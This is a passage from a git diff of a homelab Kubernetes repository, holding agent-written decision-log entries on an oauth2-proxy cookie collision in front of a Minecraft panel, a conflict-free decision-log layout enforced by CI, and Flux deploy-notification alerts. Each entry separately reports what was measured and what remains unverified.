fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
|
||||
asserted the double login was "expected, not a bug" and then left the reader with no way forward —
|
||||
the assertion was true and useless in the same sentence.
|
||||
|
||||
So this branch:
|
||||
|
||||
- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
|
||||
retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
|
||||
runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
|
||||
actually resolves rather than the file merely existing.
|
||||
- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
|
||||
- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
|
||||
oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
|
||||
`.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
|
||||
proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
|
||||
authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
|
||||
straight back, clobbering it again. **That mutual eviction presents exactly as the reported
|
||||
symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
|
||||
crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
|
||||
unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
|
||||
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
|
||||
|
||||
**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
|
||||
`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
|
||||
`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
|
||||
password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
|
||||
**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
|
||||
./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
|
||||
non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
|
||||
Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
|
||||
image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
|
||||
retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
|
||||
|
||||
## What I verified
|
||||
|
||||
- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
|
||||
groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
|
||||
oauth2-proxy admitted the user; Crafty rejected the local credential.
|
||||
- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
|
||||
`users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
|
||||
has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
|
||||
created the "homelab" server. `default-creds.txt` is therefore live.
|
||||
- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
|
||||
in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
|
||||
emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
|
||||
- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
|
||||
`get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
|
||||
`"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
|
||||
`self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
|
||||
`get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
|
||||
(**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
|
||||
have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
|
||||
the opposite into the README from the config value alone before measuring it — the config key
|
||||
existing is not the same claim as the code path running.
|
||||
- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
|
||||
runs `main.py -d -i`. Recovery must go through the DB.
|
||||
- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
|
||||
cannot import it, so the obvious reset one-liner fails.
|
||||
- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
|
||||
assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
|
||||
`default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
|
||||
- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
|
||||
`spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
|
||||
reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
|
||||
renders correctly, but nobody has signed in through it. The human test is in
|
||||
`platform/crafty/README.md`.
|
||||
- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
|
||||
still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
|
||||
session's read-only probes). **Merging is what deploys, and it will restart the pod** —
|
||||
`strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
|
||||
the moment.
|
||||
- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
|
||||
`gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
|
||||
touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
|
||||
Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
|
||||
- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
|
||||
credential. The runbook says to rotate on first sign-in; that is an operator action and is still
|
||||
open.
|
||||
- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
|
||||
change with no observed failure to point at — the sidecar trace above shows a *working* session,
|
||||
because that browser had not visited another gated app first. It is a latent-bug fix.
|
||||
|
||||
### Follow-ups
|
||||
|
||||
1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
|
||||
off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
|
||||
sat unchanged and undocumented.
|
||||
2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
|
||||
two halves differently); the alternative is to accept the `platform-admins` gate as the only
|
||||
throttle and say so.
|
||||
3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
|
||||
a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
|
||||
instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
|
||||
which is exactly the shape this repo keeps getting burned by.
|
||||
@@ -0,0 +1,82 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: chore/decisions-log-conflict-free
|
||||
title: The handoff log was serialising every parallel branch — it is a directory now
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
|
||||
file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
|
||||
is nothing for git to merge.
|
||||
|
||||
The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
|
||||
and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
|
||||
both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
|
||||
gate run before it. The agents work in isolated worktrees precisely so they don't block each
|
||||
other, and this one file undid that.
|
||||
|
||||
- `decisions/README.md` — the convention, the template, and how to read the log. No index file
|
||||
and no sequence number, deliberately: an index is a shared mutable file (the thing that just
|
||||
failed) and a counter has two agents racing for the same number. The directory listing is the
|
||||
index.
|
||||
- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
|
||||
SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
|
||||
- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
|
||||
entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
|
||||
frontmatter agreeing with its filename, and has all three of §7's sections with a real body
|
||||
under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
|
||||
in the tree under test and needs no tool and no cluster.
|
||||
- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
|
||||
`REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
|
||||
- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
|
||||
- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
|
||||
pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
|
||||
script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
|
||||
every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
|
||||
stub rather than the decision logic.
|
||||
- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
|
||||
- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
|
||||
named.
|
||||
|
||||
A guard rather than a paragraph, because the old habit is written into the runbooks and into
|
||||
every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
|
||||
commit that re-creates the conflict on *other people's* branches, later, misattributed.
|
||||
|
||||
## What I verified
|
||||
|
||||
Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
|
||||
2026-09-29), not inferred from the tree:
|
||||
|
||||
#22 fix/crafty-oauth2-proxy-signin mergeable=False
|
||||
#20 feat/conformance-job-template mergeable=False
|
||||
#19 feat/conformance-trigger-kubeconfig mergeable=False
|
||||
#18 feat/conformance-runner-image mergeable=False
|
||||
#17 feat/ci-is-the-approver mergeable=True
|
||||
|
||||
`git merge-tree --write-tree origin/main origin/<branch>` for each named
|
||||
`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
|
||||
clean and touched no log entry. So the log's storage format was the whole of the blockage.
|
||||
|
||||
Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
|
||||
matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
|
||||
archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
|
||||
up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
|
||||
|
||||
Gate: see the run quoted in the PR description.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
|
||||
touches only CI and documentation; it has no cluster-visible effect at all.
|
||||
- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
|
||||
change's content but stated so the gate result is not over-read.
|
||||
- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
|
||||
test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
|
||||
A skipped Gitea job still reports `success`, so read the job log, not the tick.
|
||||
- **The four hung PRs are not yet fixed by this commit.** They still carry their
|
||||
`DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
|
||||
its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
|
||||
- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
|
||||
sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
|
||||
the damage; it joins the existing tracked work on stale `git push origin main` wording.
|
||||
@@ -0,0 +1,144 @@
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: feat/flux-deploy-notifications
|
||||
title: Flux deploy notifications — the operator now gets mail when a git change starts rolling out and when it completes
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
The operator was getting **no notification when Flux began applying a git change, and none when it
|
||||
finished**. Root cause, measured rather than inferred: `notification-controller` v1.4.0 is running
|
||||
(`1/1` ready) and the `Provider`/`Alert`/`Receiver` CRDs are installed and serving `v1beta3`, but
|
||||
there are **zero `Provider` and zero `Alert` objects in the entire cluster** (`kubectl get
|
||||
providers,alerts -A` → `No resources found`). Nothing in git ever created any. The five `gotk_*`
|
||||
rules in `platform/monitoring/alerts.yaml` only cover *failures* (`FluxReconciliationFailure`,
|
||||
`FluxResourceSuspended`) — nothing covered the healthy path.
|
||||
|
||||
**The obvious fix does not work, and this is the substance of the change.** Neither Flux event can be
|
||||
filtered into a deploy signal:
|
||||
|
||||
- `ReconciliationSucceeded` is a **heartbeat, not a change signal**. 16 Kustomizations, 15 on
|
||||
`interval: 10m` → **101 such events in one hour**, with the message `Reconciliation finished in
|
||||
324.161192ms, next run in 10m0s` — byte-identical in shape whether the apply changed anything or
|
||||
not. An `Alert` at `eventSeverity: info` would have mailed ~100 times an hour.
|
||||
- `Progressing` is worse. Five Kustomizations re-apply the same object on **every** tick — event
|
||||
counts **2505 / 2504 / 2501 / 2495 / 2490** (`apps-vms` → `NetworkPolicy/unifi/default-deny`,
|
||||
`platform` → `CustomResourceDefinition/cdis.cdi.kubevirt.io`, `apps-wave-0/1/2` →
|
||||
`NetworkPolicy/{gitea,nextcloud,seerr}/default-deny`). Anything keyed on `Progressing` would mail
|
||||
five times every ten minutes, forever.
|
||||
- `gotk_*` carries **no revision label anywhere** — `gotk_reconcile_condition` 120 series,
|
||||
`gotk_suspend_status` 40, not one with a revision.
|
||||
|
||||
The applied **revision** is the only signal that moves when and only when git moves, and it lives in
|
||||
object status alone. So:
|
||||
|
||||
1. **`platform/monitoring/kube-prometheus-stack.yaml`** — two resources added to the *existing*
|
||||
`kube-state-metrics.customResourceState` config (the Velero-Schedule path, already enabled):
|
||||
`kube_flux_kustomization_info{revision}` + `kube_flux_kustomization_suspended` (from
|
||||
`status.lastAppliedRevision` / `spec.suspend`) and `kube_flux_gitrepository_info{revision}` (from
|
||||
`status.artifact.revision`). Plus the two mandatory read-only `rbac.extraRules` entries, and a
|
||||
`podAnnotations` roll-counter — the chart sets **no checksum annotation** over that ConfigMap, so
|
||||
a config-only edit would have left KSM running the old collector set with the new metrics absent
|
||||
and the new alerts silently inert. Named `kube_flux_*`, never `gotk_*`, for the same reason
|
||||
`kube_velero_schedule_*` is not `velero_*`: these are KSM series about Kubernetes objects.
|
||||
Cost: 33 series.
|
||||
2. **`platform/monitoring/alerts.yaml`**, group `platform-health.flux` — `FluxRolloutInProgress`
|
||||
(`severity: info`, **no `for:`**) fires the moment any non-suspended Kustomization's applied
|
||||
revision is not the revision the GitRepository fetched from `main`, and **clears when all have
|
||||
caught up**. Fired mail = "a deploy started"; **resolved mail = "it completed"** — the completion
|
||||
half is delivered by `send_resolved`, not by a second rule. `FluxRolloutStuck` (`severity:
|
||||
warning`, `for: 30m`) is the same expression as the escalation for a rollout that started and
|
||||
never converged.
|
||||
3. **Alertmanager** — a dedicated `severity = "info"` route and `email-deploy` receiver, subject
|
||||
`[FLUX] applying|applied — …`. Without it a routine deploy would have arrived subject-lined
|
||||
`[WARNING]` via the catch-all receiver and become indistinguishable from a real fault.
|
||||
`group_by: [alertname]` collapses all 16 Kustomizations into one mail per rollout;
|
||||
`group_interval: 2m` so completion is not held 4m behind the event.
|
||||
4. **`platform/monitoring/tests/flux-rollout.test.yaml`** — 6 promtool scenarios, both directions.
|
||||
5. **`runbooks/flux-rollout.md`** (+ its `configMapGenerator` entry) and a `kube_flux_` entry in
|
||||
`conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh` whose `require` patterns
|
||||
pin `customResourceState`, both `metricNamePrefix`es, both `apiGroups` and the roll-counter — so
|
||||
deleting any of them fails the gate instead of silently re-inerting the alerts.
|
||||
|
||||
Two guards in the expression, each with a test whose only job is to fail if that clause is removed:
|
||||
`and on () (count(kube_flux_gitrepository_info…) > 0)` (without it, a missing exporter makes
|
||||
`unless on (revision) <empty>` remove nothing and **all 16 Kustomizations alert forever** — the
|
||||
permanently-firing mode this repo shipped once already), and `unless on (namespace, name)
|
||||
(kube_flux_kustomization_suspended == 1)` (a suspended Kustomization pins an old revision by design
|
||||
and would hold the rollout open, so the "applied" mail would never arrive).
|
||||
|
||||
## What I verified
|
||||
|
||||
Measured against live prod (`--context k3s-prod`) **before** writing anything, and quoted here as
|
||||
measured:
|
||||
|
||||
- `notification-controller` `1/1`, image `ghcr.io/fluxcd/notification-controller:v1.4.0`;
|
||||
`alerts`/`providers`/`receivers.notification.toolkit.fluxcd.io` all serve `v1beta3` (storage);
|
||||
`get providers,alerts -A` → **`No resources found`**. This is the defect.
|
||||
- Event counts above, from `kubectl get events -A -o json` filtered to `toolkit.fluxcd.io`
|
||||
involvedObjects: 101 `Kustomization/ReconciliationSucceeded`, 10 `Progressing`, 15
|
||||
`DependencyNotReady`, 4 `GitRepository/GitOperationSucceeded`, 1 `NewArtifact`.
|
||||
- The `gotk_*` family **is** in the TSDB now (`flux-podmonitor` works): 6 targets up in job
|
||||
`flux-system/flux-system`, `gotk_reconcile_condition` 120 series, `gotk_suspend_status` 40
|
||||
(`{kind="Kustomization"}` = 16) — and none carries a revision.
|
||||
- `customResourceState` already works end to end: `kube_velero_schedule_{created,paused,
|
||||
protects_volume_data,info}` = 2 series each.
|
||||
- Both CRDs serve **`v1` as the storage version**; `GitRepository/flux-system`
|
||||
`.status.artifact.revision` = `main@sha1:b93594b7c85aeec4d28e008b239d61d181e1e6de`, `spec.interval`
|
||||
`1m`; all 16 Kustomizations report that same `lastAppliedRevision`; **none** sets `spec.suspend`
|
||||
(which is why `nilIsZero: true` is mandatory).
|
||||
- Reachability for the follow-up below: `flux-system/allow-egress` is `egress: [{}]` (allow-all) and
|
||||
the `monitoring` namespace has **no NetworkPolicy at all**, so nothing blocks flux-system →
|
||||
`kube-prometheus-stack-alertmanager` (`10.43.60.242:9093`).
|
||||
- `promtool test rules` on the new suite: **SUCCESS**, 53 rules parsed, promtool 3.14.0 from the
|
||||
pinned toolbox. All 6 scenarios pass, including both guard tests and the convergence test that
|
||||
proves the alert empties itself (the completion mail).
|
||||
- Full gate in the pinned toolbox: `lint`, `l0`, `render-golden`, `l1`, `decisions-log`,
|
||||
`spec-immutability` all **green** — `l0` includes `alert-metrics-have-scrape-targets`,
|
||||
`alert-rules-unit-tested` and `alert-runbooks-resolvable`, i.e. the new owner entry, the new tests
|
||||
and the new runbook all cleared their own checks. Coverage 51/51.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
- **No mail has been sent.** Nothing here has run on the cluster: the metrics do not exist yet, the
|
||||
rules are not loaded, and the `email-deploy` receiver has never delivered. The end-to-end claim
|
||||
("a merge produces an `[FLUX] applying` mail and then an `[FLUX] applied` mail") is **UNVERIFIED**
|
||||
and can only be proven by merging this and watching the *next* commit. Agents cannot apply, and
|
||||
CI has no cluster (`vars.CLUSTER_AVAILABLE` unset → L2/L3 did not run).
|
||||
- **The KSM custom-resource-state paths are asserted, not observed.** I verified the CRD storage
|
||||
versions and that each status field is populated on the live objects, but I have not seen KSM emit
|
||||
`kube_flux_*`. If a path is wrong KSM emits the metric with the label **omitted**, `revision!=""`
|
||||
then drops the series, and the alerts go quiet rather than wrong — the safe direction, but the
|
||||
first thing to check after merge:
|
||||
`count by (__name__) ({__name__=~"kube_flux.*"})` must return **three** names.
|
||||
- **KSM memory was not re-measured.** Limit is 384Mi against a working set of ~111–123Mi; this adds
|
||||
two small informers (16 + 1 objects). 91 OOMKills followed the *last* CRS addition at a 128Mi
|
||||
limit, so re-measure `max_over_time(container_memory_working_set_bytes{container="kube-state-metrics"}[6h])`
|
||||
after this settles rather than assuming the headroom holds.
|
||||
- **Alertmanager's `.Status` subject template is untested.** `[FLUX] applying|applied` relies on
|
||||
`.Status` being `firing`/`resolved` in the notification template data. Wrong, and the mail still
|
||||
arrives with a poorer subject — cosmetic, but unproven.
|
||||
- **The `notification-controller` `Provider`/`Alert` half is designed but NOT shipped.** It was cut
|
||||
deliberately: its unique value over the rules above is the human-readable **commit subject**
|
||||
(`GitRepository`/`NewArtifact`, count 1 per commit, message `stored artifact for commit '<subject>'`,
|
||||
revision in `source.toolkit.fluxcd.io/revision` metadata), and notification-controller has **no
|
||||
SMTP provider**, so it must post into Alertmanager via `type: alertmanager` at
|
||||
`http://kube-prometheus-stack-alertmanager.monitoring.svc:9093/api/v2/alerts`. I could not
|
||||
establish **what label set that provider actually emits** (whether it sets `alertname`, and whether
|
||||
`severity` is `info`) without applying it, and the `email-deploy` route matches on `severity`. So
|
||||
the route design would have rested on a guess. Follow-up: apply it, read the resulting labels off
|
||||
Alertmanager, then wire the route — and put it in its **own `wait: false` Flux Kustomization**
|
||||
(never `platform` or `platform-config`, both `wait: true`), because a notification mechanism that
|
||||
cannot go Ready must never be able to stall the delivery graph, which is the twice-shipped
|
||||
cold-start deadlock this repo already documents.
|
||||
- **The 2500-count drift loop is NOT fixed, and is not mine.** Five Kustomizations have been
|
||||
re-applying the same object every 10 minutes for ~25 days: something outside git is mutating
|
||||
`NetworkPolicy/{unifi,gitea,nextcloud,seerr}/default-deny` and
|
||||
`CustomResourceDefinition/cdis.cdi.kubevirt.io` after Flux applies them. Cause **UNVERIFIED** —
|
||||
I only measured the event counts. It is a real defect (constant write load on the API server and
|
||||
etcd, on a cluster with a known etcd I/O problem on prod-1) and it deserves its own branch. The
|
||||
alerts here are immune to it by construction: they read revisions, not events.
|
||||
- **Branch protection / runner state re-measured? No.** The `gitea-settings` stage **SKIPPED**
|
||||
(`SETTINGS_API_TOKEN` unset), so whether `main` is still protected and the gate still required is
|
||||
UNVERIFIED by this run. The gate's overall verdict is therefore **rc 3, not rc 0** — every stage
|
||||
that ran is green, and one stage did not run.
|
||||
@@ -0,0 +1 @@
|
||||
b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26 DECISIONS-LOG.md
|
||||
@@ -0,0 +1,101 @@
|
||||
# `decisions/` — the handoff log, one file per entry
|
||||
|
||||
This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
|
||||
everything written before 2026-09-29 and is never edited again (see "The archive is
|
||||
frozen" below).
|
||||
|
||||
## Why this exists
|
||||
|
||||
`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
|
||||
**tail**. Two branches that both append hit the same last hunk, so git cannot
|
||||
auto-merge them: the second one to be reviewed conflicts, and so does the third, and
|
||||
the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
|
||||
`DECISIONS-LOG.md` was the only conflicting file in all four**:
|
||||
|
||||
#22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
||||
#20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
||||
#19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
||||
#18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
||||
#17 feat/ci-is-the-approver clean (it touched no log entry)
|
||||
|
||||
Nothing was wrong with any of those changes. The log's *storage format* serialised work
|
||||
that was otherwise parallel, and it got worse with every concurrent branch: N branches
|
||||
produce N-1 rebases, each of which invalidates any gate run that preceded it.
|
||||
|
||||
The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
|
||||
handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
|
||||
nothing for git to merge and nothing to conflict. This scales to any number of parallel
|
||||
branches with zero coordination — which is the point, since the agents are deliberately
|
||||
isolated from each other in separate worktrees and cannot coordinate.
|
||||
|
||||
There is deliberately **no index file** and no counter. An index would be a shared
|
||||
mutable file — exactly the thing that just failed — and a sequence number would have
|
||||
two agents racing for `0043`. The directory listing is the index.
|
||||
|
||||
## Writing an entry
|
||||
|
||||
One file per handoff, named:
|
||||
|
||||
decisions/YYYY-MM-DD-<slug>.md
|
||||
|
||||
`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
|
||||
already unique per unit of work, which is precisely the property the filename needs.
|
||||
A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
|
||||
|
||||
decisions/2026-09-29-crafty-oauth2-proxy-signin.md
|
||||
|
||||
The file is YAML frontmatter followed by three required sections:
|
||||
|
||||
```markdown
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: fix/crafty-oauth2-proxy-signin
|
||||
title: The Keycloak gate works — Crafty's own login was the wall
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Prose. What you actually did, and why.
|
||||
|
||||
## What I verified
|
||||
|
||||
The measurements, with their numbers. Quote the field you read, not the prose you
|
||||
believed. Name the gate result and its exit code.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
|
||||
this repo has been burned by the difference more than once.
|
||||
```
|
||||
|
||||
All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
|
||||
CLAUDE.md §7's contract; making them a checked structure is what stops an entry
|
||||
degrading into "done ✅".
|
||||
|
||||
## Reading the log
|
||||
|
||||
The whole log, oldest first:
|
||||
|
||||
ls decisions/[0-9]*.md | sort
|
||||
|
||||
The current PM handoff — the newest entry. Ties within a day are broken by what landed
|
||||
on `main` last, which is the honest answer, so ask git rather than the filename:
|
||||
|
||||
git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
|
||||
| grep '^decisions/' | head -1
|
||||
|
||||
For a quick skim of who said what:
|
||||
|
||||
grep -H '^title:' decisions/[0-9]*.md | sort
|
||||
|
||||
## The archive is frozen
|
||||
|
||||
`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
|
||||
`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
|
||||
changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
|
||||
CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
|
||||
else, silently, one PR at a time.
|
||||
|
||||
If the archive genuinely must change (a leaked credential to redact, say), that is a
|
||||
deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
|
||||
and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.
|
||||
@@ -33,29 +33,67 @@ agents. So the credential model must be decided by the operator before anything
|
||||
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
|
||||
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
|
||||
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
|
||||
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
|
||||
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
|
||||
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
|
||||
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
||||
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
||||
|
||||
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
|
||||
is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
|
||||
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
|
||||
LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
|
||||
|
||||
> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
|
||||
> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
|
||||
> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
|
||||
> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
|
||||
> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
|
||||
> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
|
||||
